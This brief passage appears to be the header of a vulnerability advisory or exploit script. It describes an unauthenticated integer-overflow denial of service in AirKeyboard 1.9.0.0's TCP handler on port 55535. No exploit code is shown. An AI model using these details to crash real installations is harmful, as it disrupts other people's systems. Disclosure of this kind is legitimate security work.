'''
AirKeyboard 1.9.0.0 suffers from an integer overflow vulnerability in its
TCP request handler. The ReadLength method parses a 4-byte user-supplied
length field without bounds checking, allowing attackers to trigger a
denial-of-service by sending a malformed packet with an oversized length
value. Exploitation requires no authentication and affects the default TCP
port (55535).
